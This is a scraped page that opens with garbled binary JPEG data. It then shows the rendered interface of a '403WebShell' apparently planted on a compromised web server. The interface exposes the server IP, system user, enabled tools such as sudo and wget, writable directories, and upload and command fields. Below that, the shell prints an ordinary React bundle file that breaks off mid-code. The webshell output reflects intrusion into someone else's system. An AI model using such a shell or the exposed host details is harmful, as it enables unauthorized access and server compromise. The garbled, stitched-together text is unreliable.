JFIFXX    $.' ",#(7),01444'9=82<.342  2!!22222222222222222222222222222222222222222222222222"4 ,PG"Z_4˷kjزZ,F+_z,© zh6٨icfu#ډb_N?wQ5-~I8TK<5oIv-k_U_~bMdӜUHh?]EwQk{_}qFW7HTՑYF?_'ϔ_Ջt=||I 6έ"D/[k9Y8ds|\Ҿp6Ҵ].6znopM[mei$[soᘨ˸ nɜG-ĨUycP3.DBli;hjx7Z^NhN3u{:jx힞#M&jL P@_ P&o89@Sz6t7#Oߋ s}YfTlmrZ)'Nk۞pw\Tȯ?8`Oi{wﭹW[r Q4F׊3m&L=h3z~#\l :F,j@ ʱwQT8"kJO6֚l}R>ډK]y&p}b;N1mr$|7>e@BTM*-iHgD) Em|ؘbҗaҾt4oG*oCNrPQ@z,|?W[0:n,jWiEW$~/hp\?{(0+Y8rΟ+>S-SVN;}s?. w9˟<Mq4Wv'{)01mBVW[8/< %wT^5b)iM pgN&ݝVO~qu9 !J27$O-! :%H ـyΠM=t{!S oK8txA& j0 vF Y|y ~6@c1vOpIg4lODL Rcj_uX63?nkWyf;^*B @~a`Eu+6L.ü>}y}_O6͐:YrGXkGl^w~㒶syIu! W XN7BVO!X2wvGRfT#t/?%8^WaTGcLMI(J1~8?aT ]ASE(*E} 2#I/׍qz^t̔bYz4xt){ OH+(EA&NXTo"XC')}Jzp ~5}^+6wcQ|LpdH}(.|kc4^"Z?ȕ a<L!039C EuCFEwç ;n?*oB8bʝ'#RqfM}7]s2tcS{\icTx;\7KPʇ Z O-~c>"?PEO8@8GQgaՎ󁶠䧘_%#r>1zaebqcPѵn#L =׀t L7`VA{C:ge@w1 Xp3c3ġpM"'-@n4fGB3DJ8[JoߐgK)ƛ$ 83+ 6ʻ SkI*KZlT _`?KQKdB`s}>`*>,*@JdoF*弝O}ks]yߘc1GV<=776qPTtXԀ!9*44Tހ3XΛex46YD  BdemDa\_l,G/֌7Y](xTt^%GE4}bTڹ;Y)BQu>J/J ⮶.XԄjݳ+Ed r5_D1 o Bx΢#<W8R6@gM. drD>(otU@x=~v2 ӣdoBd3eO6㣷ݜ66YQz`S{\P~z m5{J/L1xO\ZFu>ck#&:`$ai>2ΔloF[hlEܺΠk:)` $[69kOw\|8}ބ:񶐕IA1/=2[,!.}gN#ub ~݊}34qdELc$"[qU硬g^%B zrpJru%v\h1Yne`ǥ:gpQM~^Xi `S:V29.PV?Bk AEvw%_9CQwKekPؠ\;Io d{ ߞoc1eP\ `E=@KIRYK2NPlLɀ)&eB+ь( JTx_?EZ }@ 6U뙢طzdWIn` D噥[uV"G&Ú2g}&m?ċ"Om# {ON"SXNeysQ@FnVgdX~nj]J58up~.`r\O,ư0oS _Ml4kv\JSdxSW<AeIX$Iw:Sy›R9Q[,5;@]%u@ *rolbI  +%m:͇ZVủθau,RW33 dJeTYE.Mϧ-oj3+yy^cVO9NV\nd1 !͕_)av;թMlWR1)ElP;yوÏu 3k5Pr6<⒲l!˞*u־n!l:UNW %Chx8vL'X@*)̮ˍ D-M+JUkvK+x8cY?Ԡ~3mo|u@[XeYC\Kpx8oCC&N~3-H MXsu<`~"WL$8ξ3a)|:@m\^`@ҷ)5p+6p%i)P Mngc#0AruzRL+xSS?ʮ}()#tmˇ!0}}y$6Lt;$ʳ{^6{v6ķܰgVcnn ~zx«,2u?cE+ȘH؎%Za)X>uWTzNyosFQƤ$*&LLXL)1" LeOɟ9=:tZcŽY?ӭVwv~,Yrۗ|yGaFC.+ v1fήJ]STBn5sW}y$~z'c 8  ,! pVNSNNqy8z˱A4*'2n<s^ǧ˭PJޮɏUGLJ*#i}K%,)[z21z ?Nin1?TIR#m-1lA`fT5+ܐcq՝ʐ,3f2Uեmab#ŠdQy>\)SLYw#.ʑf ,"+w~N'cO3FN<)j&,- љ֊_zSTǦw>?nU仆Ve0$CdrP m׈eXmVu L.bֹ [Դaզ*\y8Է:Ez\0KqC b̘cөQ=0YsNS.3.Oo:#v7[#߫ 5܎LEr49nCOWlG^0k%;YߝZǓ:S#|}y,/kLd TA(AI$+I3;Y*Z}|ӧOdv..#:nf>>ȶITX 8y"dR|)0=n46ⲑ+ra ~]R̲c?6(q;5% |uj~z8R=XIV=|{vGj\gcqz؋%Mߍ1y#@f^^>N#x#۹6Y~?dfPO{P4Vu1E1J *|%JN`eWuzk M6q t[ gGvWIGu_ft5j"Y:Tɐ*; e54q$C2d} _SL#mYpO.C;cHi#֩%+) ӍƲVSYźg |tj38r|V1#;.SQA[S#`n+$$I P\[@s(EDzP])8G#0B[ىXIIq<9~[Z멜Z⊔IWU&A>P~#dp]9 "cP Md?٥Ifتuk/F9c*9Ǎ:ØFzn*@|Iށ9N3{'['ͬҲ4#}!V Fu,,mTIkv C7vB6kT91*l '~ƞFlU'M ][ΩũJ_{iIn$L jOdxkza۪#EClx˘oVɞljr)/,߬hL#^Lф,íMƁe̩NBLiLq}(q6IçJ$WE$:=#(KBzђ xlx?>Պ+>W,Ly!_DŌlQ![ SJ1ƐY}b,+Loxɓ)=yoh@꥟/Iѭ=Py9 ۍYӘe+pJnϱ?V\SO%(t =?MR[Șd/ nlB7j !;ӥ/[-A>dNsLj ,ɪv=1c.SQO3UƀܽE̻9GϷD7(}Ävӌ\y_0[w <΍>a_[0+LF.޺f>oNTq;y\bՃyjH<|q-eɏ_?_9+PHp$[uxK wMwNی'$Y2=qKBP~Yul:[<F12O5=d]Ysw:ϮEj,_QXz`H1,#II dwrP˂@ZJVy$\y{}^~[:NߌUOdؾe${p>G3cĖlʌ ת[`ϱ-WdgIig2 }s ؤ(%#sS@~3XnRG~\jc3vӍLM[JBTs3}jNʖW;7ç?=XF=-=qߚ#='c7ڑWI(O+=:uxqe2zi+kuGR0&eniT^J~\jyp'dtGsO39* b#Ɋ p[BwsT>d4ۧsnvnU_~,vƜJ1s QIz)(lv8MU=;56Gs#KMP=LvyGd}VwWBF'à ?MHUg2 !p7Qjڴ=ju JnA suMeƆҔ!)'8Ϣٔޝ(Vpצ֖d=ICJǠ{qkԭ߸i@Ku|p=..*+xz[Aqġ#s2aƊRR)*HRsi~a &fMP-KL@ZXy'x{}Zm+:)) IJ-iu ܒH'L(7yGӜq j 6ߌg1go,kرtY?W,pefOQS!K۟cҒA|սj>=⬒˧L[ ߿2JaB~Ru:Q] 0H~]7ƼI(}cq 'ήETq?fabӥvr )o-Q_'ᴎoK;Vo%~OK *bf:-ťIR`B5!RB@ï u ̯e\_U_ gES3QTaxU<~c?*#]MW,[8Oax]1bC|踤Plw5V%){t<d50iXSUm:Z┵i"1^B-PhJ&)O*DcWvM)}Pܗ-q\mmζZ-l@}aE6F@&Sg@ݚM ȹ 4#p\HdYDoH"\..RBHz_/5˘6KhJRPmƶim3,#ccoqa)*PtRmk7xDE\Y閣_X<~)c[[BP6YqS0%_;Àv~| VS؇ 'O0F0\U-d@7SJ*z3nyPOm~P3|Yʉr#CSN@ ƮRN)r"C:: #qbY. 6[2K2uǦHYRQMV G$Q+.>nNHq^ qmMVD+-#*U̒ p욳u:IBmPV@Or[b= 1UE_NmyKbNOU}the`|6֮P>\2PVIDiPO;9rmAHGWS]J*_G+kP2KaZH'KxWMZ%OYDRc+o?qGhmdSoh\D|:WUAQc yTq~^H/#pCZTI1ӏT4"ČZ}`w#*,ʹ 0i課Om*da^gJ݅{le9uF#Tֲ̲ٞC"qߍ ոޑo#XZTp@ o8(jdxw],f`~|,s^f1t|m򸄭/ctr5s79Q4H1꠲BB@l9@C+wpxu£Yc9?`@#omHs2)=2.ljg9$YS%*LRY7Z,*=䷘$armoϰUW.|rufIGwtZwo~5 YյhO+=8fF)W7L9lM̘·Y֘YLf큹pRF99.A "wz=E\Z'a 2Ǚ#;'}G*l^"q+2FQ hjkŦ${ޮ-T٭cf|3#~RJt$b(R(rdx >U b&9,>%E\ Άe$'q't*אެb-|dSBOO$R+H)܎K1m`;J2Y~9Og8=vqD`K[F)k[1m޼cn]skz$@)!I x՝"v9=ZA=`Ɠi :E)`7vI}dYI_ o:obo 3Q&D&2= Ά;>hy.*ⅥSӬ+q&j|UƧ}J0WW< ۋS)jQRjƯrN)Gű4Ѷ(S)Ǣ8iW52No˓ ۍ%5brOnL;n\G=^UdI8$&h'+(cȁ߫klS^cƗjԌEꭔgFȒ@}O*;evWVYJ\]X'5ղkFb 6Ro՜mi Ni>J?lPmU}>_Z&KKqrIDՉ~q3fL:Se>E-G{L6pe,8QIhaXaUA'ʂs+טIjP-y8ۈZ?J$WP Rs]|l(ԓsƊio(S0Y 8T97.WiLc~dxcE|2!XKƘਫ਼$((6~|d9u+qd^389Y6L.I?iIq9)O/뚅OXXVZF[یgQLK1RҖr@v#XlFНyS87kF!AsM^rkpjPDyS$Nqnxҍ!Uf!ehi2m`YI9r6 TFC}/y^Η5d'9A-J>{_l+`A['յϛ#w:݅%X}&PStQ"-\縵/$ƗhXb*yBS;Wջ_mcvt?2}1;qSdd~u:2k52R~z+|HE!)Ǟl7`0<,2*Hl-x^'_TVgZA'j ^2ΪN7t?w x1fIzC-ȖK^q;-WDvT78Z hK(P:Q- 8nZ܃e貾<1YT<,"6{/ ?͟|1:#gW>$dJdB=jf[%rE^il:BxSּ1հ,=*7 fcG#q eh?27,!7x6nLC4x},GeǝtC.vS F43zz\;QYC,6~;RYS/6|25vTimlv& nRh^ejRLGf? ۉҬܦƩ|Ȱ>3!viʯ>vオX3e_1zKȗ\qHS,EW[㺨uch⍸O}a>q6n6N6qN ! 1AQaq0@"2BRb#Pr3C`Scst$4D%Td ?Na3mCwxAmqmm$4n淿t'C"wzU=D\R+wp+YT&պ@ƃ3ޯ?AﶂaŘ@-Q=9Dռѻ@MVP܅G5fY6# ?0UQ,IX(6ڵ[DIMNލc&υj\XR|,4 jThAe^db#$]wOӪ1y%LYm뭛CUƃߜ}Cy1XνmF8jI]HۺиE@Ii;r8ӭVFՇ| &?3|xBMuSGe=Ӕ#BE5GY!z_eqр/W>|-Ci߇t1ޯќdR3ug=0 5[?#͏qcfH{ ?u=??ǯ}ZzhmΔBFTWPxs}G93 )gGR<>r h$'nchPBjJҧH -N1N?~}-q!=_2hcMlvY%UE@|vM2.Y[|y"EïKZF,ɯ?,q?vM 80jx";9vk+ ֧ ȺU?%vcVmA6Qg^MA}3nl QRNl8kkn'(M7m9وq%ޟ*h$Zk"$9: ?U8Sl,,|ɒxH(ѷGn/Q4PG%Ա8N! &7;eKM749R/%lc>x;>C:th?aKXbheᜋ^$Iհ hr7%F$EFdt5+(M6tÜUU|zW=aTsTgdqPQb'm1{|YXNb P~F^F:k6"j! Ir`1&-$Bevk:y#ywI0x=D4tUPZHڠ底taP6b>xaQ# WeFŮNjpJ* mQN*I-*ȩFg3 5Vʊɮa5FO@{NX?H]31Ri_uѕ 0 F~:60p͈SqX#a5>`o&+<2D: ڝ$nP*)N|yEjF5ټeihyZ >kbHavh-#!Po=@k̆IEN@}Ll?jO߭ʞQ|A07xwt!xfI2?Z<ץTcUj]陎Ltl }5ϓ$,Omˊ;@OjEj(ا,LXLOЦ90O .anA7j4 W_ٓzWjcBy՗+EM)dNg6y1_xp$Lv:9"zpʙ$^JԼ*ϭo=xLj6Ju82AH3$ٕ@=Vv]'qEz;I˼)=ɯx /W(Vp$ mu񶤑OqˎTr㠚xsrGCbypG1ߠw e8$⿄/M{*}W]˷.CK\ުx/$WPwr |i&}{X >$-l?-zglΆ(FhvS*b߲ڡn,|)mrH[a3ר[13o_U3TC$(=)0kgP u^=4 WYCҸ:vQרXàtkm,t*^,}D* "(I9R>``[~Q]#afi6l86:,ssN6j"A4IuQ6E,GnHzSHOuk5$I4ؤQ9@CwpBGv[]uOv0I4\yQѸ~>Z8Taqޣ;za/SI:ܫ_|>=Z8:SUIJ"IY8%b8H:QO6;7ISJҌAά3>cE+&jf$eC+z;V rʺmyeaQf&6ND.:NTvm<- uǝ\MvZYNNT-A>jr!SnO 13Ns%3D@`ܟ 1^c< aɽ̲Xë#w|ycW=9I*H8p^(4՗karOcWtO\ƍR8'KIQ?5>[}yUײ -h=% qThG2)"ו3]!kB*pFDlA,eEiHfPs5H:Փ~H0DتDIhF3c2E9H5zԑʚiX=:mxghd(v׊9iSOd@0ڽ:p5h-t&Xqӕ,ie|7A2O%PEhtjY1wЃ!  ࢽMy7\a@ţJ 4ȻF@o̒?4wx)]P~u57X 9^ܩU;Iꭆ 5 eK27({|Y׎ V\"Z1 Z}(Ǝ"1S_vE30>p; ΝD%xW?W?vo^Vidr[/&>~`9Why;R ;;ɮT?r$g1KACcKl:'3 cﳯ*"t8~l)m+U,z`(>yJ?h>]vЍG*{`;y]IT ;cNUfo¾h/$|NS1S"HVT4uhǜ]v;5͠x'C\SBplh}N ABx%ޭl/Twʽ]D=Kžr㻠l4SO?=k M: cCa#ha)ѐxcsgPiG{+xQI= zԫ+ 8"kñj=|c yCF/*9жh{ ?4o kmQNx;Y4膚aw?6>e]Qr:g,i"ԩA*M7qB?ӕFhV25r[7 Y }LR}*sg+xr2U=*'WSZDW]WǞ<叓{$9Ou4y90-1'*D`c^o?(9uݐ'PI& fJݮ:wSjfP1F:X H9dԯ˝[_54 }*;@ܨ ðynT?ןd#4rGͨH1|-#MrS3G3).᧏3vz֑r$G"`j 1tx0<ƆWh6y6,œGagAyb)hDß_mü gG;evݝnQ C-*oyaMI><]obD":GA-\%LT8c)+y76oQ#*{(F⽕y=rW\p۩cA^e6KʐcVf5$'->ՉN"F"UQ@fGb~#&M=8טJNu9D[̤so~ G9TtW^g5y$bY'سǴ=U-2 #MCt(i lj@Q 5̣i*OsxKf}\M{EV{υƇ);HIfeLȣr2>WIȂ6ik 5YOxȺ>Yf5'|H+98pjn.OyjY~iw'l;s2Y:'lgꥴ)o#'SaaKZ m}`169n"xI *+ }FP"l45'ZgE8?[X7(.Q-*ތL@̲v.5[=t\+CNܛ,gSQnH}*FG16&:t4ُ"Ạ$b |#rsaT ]ӽDP7ո0y)e$ٕvIh'QEAm*HRI=: 4牢) %_iNݧl] NtGHL ɱg<1V,J~ٹ"KQ 9HS9?@kr;we݁]I!{ @G["`J:n]{cAEVʆ#U96j#Ym\qe4hB7Cdv\MNgmAyQL4uLjj9#44tl^}LnR!t±]rh6ٍ>yҏNfU  Fm@8}/ujb9he:AyծwGpΧh5l}3p468)Udc;Us/֔YX1O2uqs`hwgr~{ RmhN؎*q 42*th>#E#HvOq}6e\,Wk#Xb>p}դ3T5†6[@Py*n|'f֧>lư΂̺SU'*qp_SM 'c6m ySʨ;MrƋmKxo,GmPAG:iw9}M(^V$ǒѽ9| aJSQarB;}ٻ֢2%Uc#gNaݕ'v[OY'3L3;,p]@S{lsX'cjwk'a.}}& dP*bK=ɍ!;3ngΊUߴmt'*{,=SzfD Ako~Gaoq_mi}#mPXhύmxǍ΂巿zfQc|kc?WY$_Lvl߶c`?ljݲˏ!V6UЂ(A4y)HpZ_x>eR$/`^'3qˏ-&Q=?CFVR DfV9{8gnh(P"6[D< E~0<@`G6Hгcc cK.5DdB`?XQ2ٿyqo&+1^ DW0ꊩG#QnL3c/x 11[yxპCWCcUĨ80me4.{muI=f0QRls9f9~fǨa"@8ȁQ#cicG$Gr/$W(WV"m7[mAmboD j۳ l^kh׽ # iXnveTka^Y4BNĕ0 !01@Q"2AaPq3BR?@4QT3,㺠W[=JKϞ2r^7vc:9 EߴwS#dIxu:Hp9E! V 2;73|F9Y*ʬFDu&y؟^EAA(ɩ^GV:ݜDy`Jr29ܾ㝉[E;FzxYGUeYC v-txIsםĘqEb+P\ :>iC';k|zرny]#ǿbQw(r|ӹs[D2v-%@;8<a[\o[ϧwI!*0krs)[J9^ʜp1) "/_>o<1AEy^C`x1'ܣnps`lfQ):lb>MejH^?kl3(z:1ŠK&?Q~{ٺhy/[V|6}KbXmn[-75q94dmc^h X5G-}دBޟ |rtMV+]c?-#ڛ^ǂ}LkrOu>-Dry D?:ޞUǜ7V?瓮"#rչģVR;n/_ ؉vݶe5db9/O009G5nWJpA*r9>1.[tsFnQ V 77R]ɫ8_0<՜IFu(v4Fk3E)N:yڮeP`1}$WSJSQNjٺ޵#lј(5=5lǏmoWv-1v,Wmn߀$x_DȬ0¤#QR[Vkzmw"9ZG7'[=Qj8R?zf\a=OU*oBA|G254 p.w7  &ξxGHp B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 45.32.152.128  /  Your IP : 216.73.216.91
Web Server : nginx/1.24.0
System : Linux stage-vultr 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : forge ( 1000)
PHP Version : 8.2.14
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/forge/evolutionequity.pdgm.dev/bootstrap/ssr/assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/forge/evolutionequity.pdgm.dev/bootstrap/ssr/assets/insights.f46b21b6.mjs
import { L as Layout, N as Navigation, F as Footer } from "./Footer.637ae2c7.mjs";
import React__default, { useState, useEffect, useContext, useRef, createElement } from "react";
import { Link } from "@inertiajs/inertia-react";
import { N as NextSeo } from "./nextSEO.7ca95280.mjs";
import { a as jsx, j as jsxs } from "../ssr.mjs";
import { S as ScreenContext } from "./ScreenContext.ab3d2e0e.mjs";
const FormContext = React__default.createContext({
  inputs: {},
  valid: {},
  register: (name, value) => {
  },
  setValid: (name, valid, first = false) => {
  },
  handleChange: (e) => {
  },
  showErrors: [""],
  validate: false
});
const defValue = [];
const defReset = false;
function Form(props) {
  const {
    method,
    action,
    className,
    children,
    onSubmit = (i) => {
    },
    updateParent = (i) => {
    },
    notValid = defValue,
    reset = defReset,
    getValid = () => {
    }
  } = props;
  let [inputs, setInputs] = useState({});
  let [validation, setValidation] = useState({});
  let [errors, setErrors] = useState(notValid);
  let [shouldValidate, triggerValidation] = useState(false);
  let [shouldReset, triggerReset] = useState(reset);
  useEffect(() => {
    setErrors((e) => [...e, ...notValid]);
  }, [notValid]);
  let handleChange = (event) => {
    const {
      name,
      value,
      checked,
      type
    } = event.target;
    let n = {
      ...inputs
    };
    n[name] = type === "checkbox" ? checked : value;
    setInputs(n);
    updateParent(n);
  };
  let submit = (e) => {
    e.preventDefault();
    triggerValidation(true);
  };
  useEffect(() => {
    if (shouldValidate == true) {
      triggerValidation(false);
      if (!validate()) {
        return;
      } else {
        onSubmit(inputs);
      }
    }
  }, [shouldValidate]);
  useEffect(() => {
    doReset();
  }, [reset]);
  useEffect(() => {
    if (shouldReset == true)
      triggerReset(false);
  }, [shouldReset]);
  useEffect(() => {
    getValid(validation);
  }, [validation]);
  let registerInput = (name, value) => {
    setInputs((prev) => {
      let n = {
        ...prev
      };
      n[name] = value;
      return n;
    });
  };
  let setInputValid = (name, isValid, first = false) => {
    setValidation((prev) => {
      let n = {
        ...prev
      };
      n[name] = isValid;
      return n;
    });
    if (!first)
      validateInput(name, isValid);
  };
  let validateInput = (name, isValid) => {
    let valid = isValid == void 0 ? validation[name] : isValid;
    valid = valid == true ? true : false;
    setErrors((errs) => {
      let es = [...errs];
      let ind = errs.findIndex((s) => s == name);
      if (valid == true && ind != -1)
        es.splice(ind, 1);
      else if (valid == false && ind == -1)
        es.push(name);
      return es;
    });
    return valid;
  };
  let validate = () => {
    let isError = 0;
    for (const name of Object.keys(validation)) {
      isError += validateInput(name, void 0) ? 0 : 1;
    }
    return isError == 0;
  };
  let doReset = () => {
    triggerReset(true);
  };
  return /* @__PURE__ */ jsx("form", {
    className: className + " ",
    action,
    onSubmit: submit,
    noValidate: true,
    children: /* @__PURE__ */ jsx(FormContext.Provider, {
      value: {
        inputs,
        valid: validation,
        register: registerInput,
        setValid: setInputValid,
        handleChange,
        showErrors: errors,
        validate: shouldValidate
      },
      children: !shouldReset && children
    })
  });
}
let defaultValue = "";
const TextField = (props) => {
  const {
    label,
    className,
    required = false,
    error = "",
    name,
    cm = false
  } = props;
  const {
    isValid = (value) => {
      if (required)
        return value ? value.length > 0 : false;
      else
        return true;
    },
    setValue = defaultValue,
    ...rest
  } = props;
  let {
    setValid,
    handleChange,
    register,
    inputs,
    showErrors,
    validate = false
  } = useContext(FormContext);
  useEffect(() => {
    setValid(name, true, true);
    register(name, setValue);
  }, []);
  useEffect(() => {
    setValid(name, isValid(inputs[name]), true);
  }, [validate]);
  useEffect(() => {
    register(name, setValue);
  }, [setValue]);
  return /* @__PURE__ */ jsxs("label", {
    className: "flex flex-col my-15px mob:my-0 relative w-full",
    children: [label && /* @__PURE__ */ jsx("span", {
      className: "text-blue my-10px text-14 font-thin",
      children: label
    }), /* @__PURE__ */ jsx("input", {
      onChange: (e) => {
        handleChange(e);
        setValid(name, isValid(e.target.value));
      },
      value: inputs[name] ? inputs[name] : "",
      ...rest,
      className: className + " border bg-white font-thin rounded-md px-19px py-16px w-full text-16px leading-4 inline-block"
    }), showErrors.includes(name) && /* @__PURE__ */ jsx("div", {
      className: "flex-wrap text-12 flex-grow w-full text-red text-blood absolute bottom-0 transform translate-y-full mt-10px",
      children: error
    })]
  });
};
function Checkbox(props) {
  const {
    name,
    className,
    label,
    round = false,
    onChange = () => {
    },
    required = false,
    error = "",
    filterOption
  } = props;
  let [checked, setChecked] = useState(false);
  let {
    setValid,
    handleChange,
    register,
    showErrors,
    inputs,
    validate
  } = useContext(FormContext);
  let {
    isMobile
  } = useContext(ScreenContext);
  let toggleBox = () => {
    setChecked((p) => !p);
    setValid(name, isValid(!checked));
  };
  useEffect(() => {
    register(name, checked);
    setValid(name, isValid(), true);
  }, []);
  useEffect(() => {
    setValid(name, isValid(inputs[name]), true);
  }, [validate]);
  let isValid = (ch = checked) => {
    return required ? ch : true;
  };
  return /* @__PURE__ */ jsxs("label", {
    className: "my-10px text-blue relative cursor-pointer " + className,
    children: [
      /* @__PURE__ */ jsxs("div", {
        className: "flex items-center ",
        children: [/* @__PURE__ */ jsx("input", {
          className: "w-1px h-0 absolute opacity-0",
          type: "checkbox",
          name,
          checked,
          onChange: (e) => {
            toggleBox();
            handleChange(e), onChange(e);
          }
        }), /* @__PURE__ */ jsxs("div", {
          className: "flex  " + (filterOption ? " " : ""),
          children: [!checked ? /* @__PURE__ */ jsx("div", {
            className: "p-4px box-border",
            children: /* @__PURE__ */ jsx("div", {
              className: "w-22px h-22px " + (round ? "rounded-full border-blue" : "rounded-sm " + (filterOption ? isMobile ? " border-blue" : " border-blue" : " border-black")) + " border"
            })
          }) : /* @__PURE__ */ jsx("div", {
            className: "p-4px box-border",
            children: /* @__PURE__ */ jsx("div", {
              className: "w-22px h-22px " + (round ? "rounded-full border-red" : "rounded-sm border-black") + " border border-red bg-insightsButtonBlue text-white flex items-center justify-center",
              children: /* @__PURE__ */ jsx("svg", {
                width: "20",
                height: "9",
                viewBox: "0 0 11 9",
                xmlns: "http://www.w3.org/2000/svg",
                children: /* @__PURE__ */ jsx("path", {
                  "fill-rule": "evenodd",
                  "clip-rule": "evenodd",
                  d: "M10.7071 1.70711L4.00001 8.41421L0.292908 4.70711L1.70712 3.29289L4.00001 5.58579L9.29291 0.292892L10.7071 1.70711Z",
                  fill: "currentColor"
                })
              })
            })
          }), label && /* @__PURE__ */ jsx("div", {
            className: "ml-12px flex items-center" + (filterOption ? " font-normal " : " "),
            children: label
          })]
        })]
      }),
      showErrors.includes(name) && /* @__PURE__ */ jsx("div", {
        className: "flex-wrap ml-4px flex-grow w-full text-12 text-red text-blood   mb-5px",
        children: error
      })
    ]
  });
}
function Select(props) {
  var _a, _b;
  const {
    options,
    placeholder,
    labelClassName,
    className,
    containerClassName,
    onChange = (v) => {
    },
    label,
    name = "select",
    ...rest
  } = props;
  const {
    inputs,
    register,
    setValid,
    showErrors,
    handleChange,
    valid,
    validate
  } = useContext(FormContext);
  const [open, setopen] = useState(false);
  const ref = useRef(null);
  const height = useRef("0px");
  const collapseSection = () => {
    let element = ref.current;
    if (element) {
      var sectionHeight = element.scrollHeight;
      var elementTransition = element.style.transition;
      element.style.transition = "";
      requestAnimationFrame(function() {
        if (element) {
          height.current = sectionHeight + "px";
          element.style.height = height.current;
          element.style.transition = elementTransition;
        }
        requestAnimationFrame(function() {
          if (element) {
            height.current = 0 + "px";
            element.style.height = height.current;
          }
        });
      });
      setopen(false);
    }
  };
  const expandSection = () => {
    let element = ref.current;
    if (element) {
      var sectionHeight = element.scrollHeight;
      height.current = sectionHeight + "px";
      element.style.height = height.current;
      setopen(true);
    }
  };
  const select = (o) => {
    register(name, o == null ? void 0 : o.value);
    onChange(o);
    collapseSection();
  };
  useEffect(() => {
    collapseSection();
  }, []);
  let selected = options.find((o) => o.value == (inputs == null ? void 0 : inputs[name]));
  return /* @__PURE__ */ jsxs("label", {
    className: "relative " + containerClassName,
    children: [/* @__PURE__ */ jsx("div", {
      className: "text-14 mb-10px font-thin " + labelClassName,
      children: label
    }), /* @__PURE__ */ jsxs("div", {
      className: `flex items-center h-50px  rounded-default cursor-pointer relative`,
      children: [/* @__PURE__ */ jsxs("div", {
        className: "flex justify-between flex-grow items-center px-16px rounded-sm  bg-white pr-0 border border-EBE9E6",
        onClick: !open ? expandSection : collapseSection,
        children: [/* @__PURE__ */ jsx("div", {
          className: ` whitespace-nowrap text-14 leading-4 ${(selected == null ? void 0 : selected.text) ? "" : "text-C4C4C4"}`,
          children: (_a = selected == null ? void 0 : selected.text) != null ? _a : placeholder
        }), /* @__PURE__ */ jsx("div", {
          className: `h-50px w-50px flex items-center justify-center transition-colors duration-300 ${open ? "border-transparent" : "border-transparent"}`,
          children: /* @__PURE__ */ jsx("div", {
            className: `transform transition-transform duration-300 w-12px h-12px ${open && "rotate-180"}`,
            children: /* @__PURE__ */ jsx("svg", {
              className: "w-12px",
              height: "12",
              viewBox: "0 0 20 12",
              xmlns: "http://www.w3.org/2000/svg",
              children: /* @__PURE__ */ jsx("path", {
                "fill-rule": "evenodd",
                "clip-rule": "evenodd",
                d: "M10.0012 9.20143L18.0412 1.16139C18.3422 0.860265 18.8314 0.860265 19.1325 1.16139C19.4335 1.46252 19.4335 1.95148 19.1325 2.25261L10.5468 10.8382C10.2455 11.1396 9.75685 11.1396 9.45551 10.8382L0.86986 2.25261C0.568771 1.95148 0.568771 1.46252 0.86986 1.16139C1.17095 0.860265 1.66006 0.860265 1.96115 1.16139L10.0012 9.20143Z"
              })
            })
          })
        })]
      }), /* @__PURE__ */ jsx("div", {
        ref,
        className: "overflow-hidden collapsable absolute bottom-0 left-0 transform w-full translate-y-full mb-8px z-10   ",
        children: /* @__PURE__ */ jsx("div", {
          className: "bg-white absolute top-0 left-0 pt-16px w-full shadow-md rounded-b-default border border-EBE9E6 border-t-0 ",
          children: options.map((o, i) => /* @__PURE__ */ jsx("div", {
            className: "border-t leading-4 px-16px hover:bg-F8F2EB border-EBE9E6 font-normal text-14  py-8px cursor-pointer",
            onClick: () => select(o),
            children: o.text
          }, `option-${i}`))
        })
      })]
    }), /* @__PURE__ */ jsx("input", {
      className: `opacity-0 w-0 h-0 absolute ${className}`,
      type: "text",
      ...rest,
      name,
      value: (_b = inputs[name]) != null ? _b : "",
      onChange: (e) => {
        handleChange(e);
      }
    })]
  });
}
const insightsContainer = "_insightsContainer_1im4p_1";
const moveUp = "_moveUp_1im4p_4";
const z9999 = "_z9999_1im4p_18";
const evolutionLogo = "_evolutionLogo_1im4p_22";
const mon = "_mon_1im4p_27";
const styles = {
  insightsContainer,
  moveUp,
  z9999,
  evolutionLogo,
  mon
};
function TileInsight(props) {
  console.log(process.env.STRAPI_URL);
  return /* @__PURE__ */ jsx(Link, {
    href: "/insight/" + props.id,
    children: /* @__PURE__ */ jsx("a", {
      children: /* @__PURE__ */ jsxs("div", {
        className: "grid rounded-md overflow-hidden",
        children: [/* @__PURE__ */ jsx("div", {
          className: "col-start-1 row-start-1 mx-auto",
          children: /* @__PURE__ */ jsx("img", {
            className: "w-full h-auto",
            src: "https://admin.evolutionequity.pdgm.dev" + props.thumbnail.url,
            alt: ""
          })
        }), /* @__PURE__ */ jsxs("div", {
          className: "col-start-1 row-start-1 text-white mx-auto w-full p-40px flex flex-col justify-between",
          children: [/* @__PURE__ */ jsxs("div", {
            children: [/* @__PURE__ */ jsx("h2", {
              className: "text-24",
              children: props.author
            }), /* @__PURE__ */ jsx("h2", {
              className: "text-18",
              children: props.authorrole
            })]
          }), /* @__PURE__ */ jsxs("div", {
            children: [/* @__PURE__ */ jsx("h3", {
              className: styles.postTitle + " text-18 font-medium",
              children: props.title
            }), /* @__PURE__ */ jsxs("button", {
              className: "flex px-24px items-center py-16px border rounded-md bg-whitish01 font-bold mt-16px",
              children: ["Read more", /* @__PURE__ */ jsx("svg", {
                className: "ml-8px",
                width: "6",
                height: "12",
                viewBox: "0 0 6 12",
                fill: "none",
                xmlns: "http://www.w3.org/2000/svg",
                children: /* @__PURE__ */ jsx("path", {
                  d: "M0.799805 10.7798L4.9098 6.66977C5.09606 6.4824 5.2006 6.22895 5.2006 5.96477C5.2006 5.70058 5.09606 5.44713 4.9098 5.25977L0.909804 1.25977",
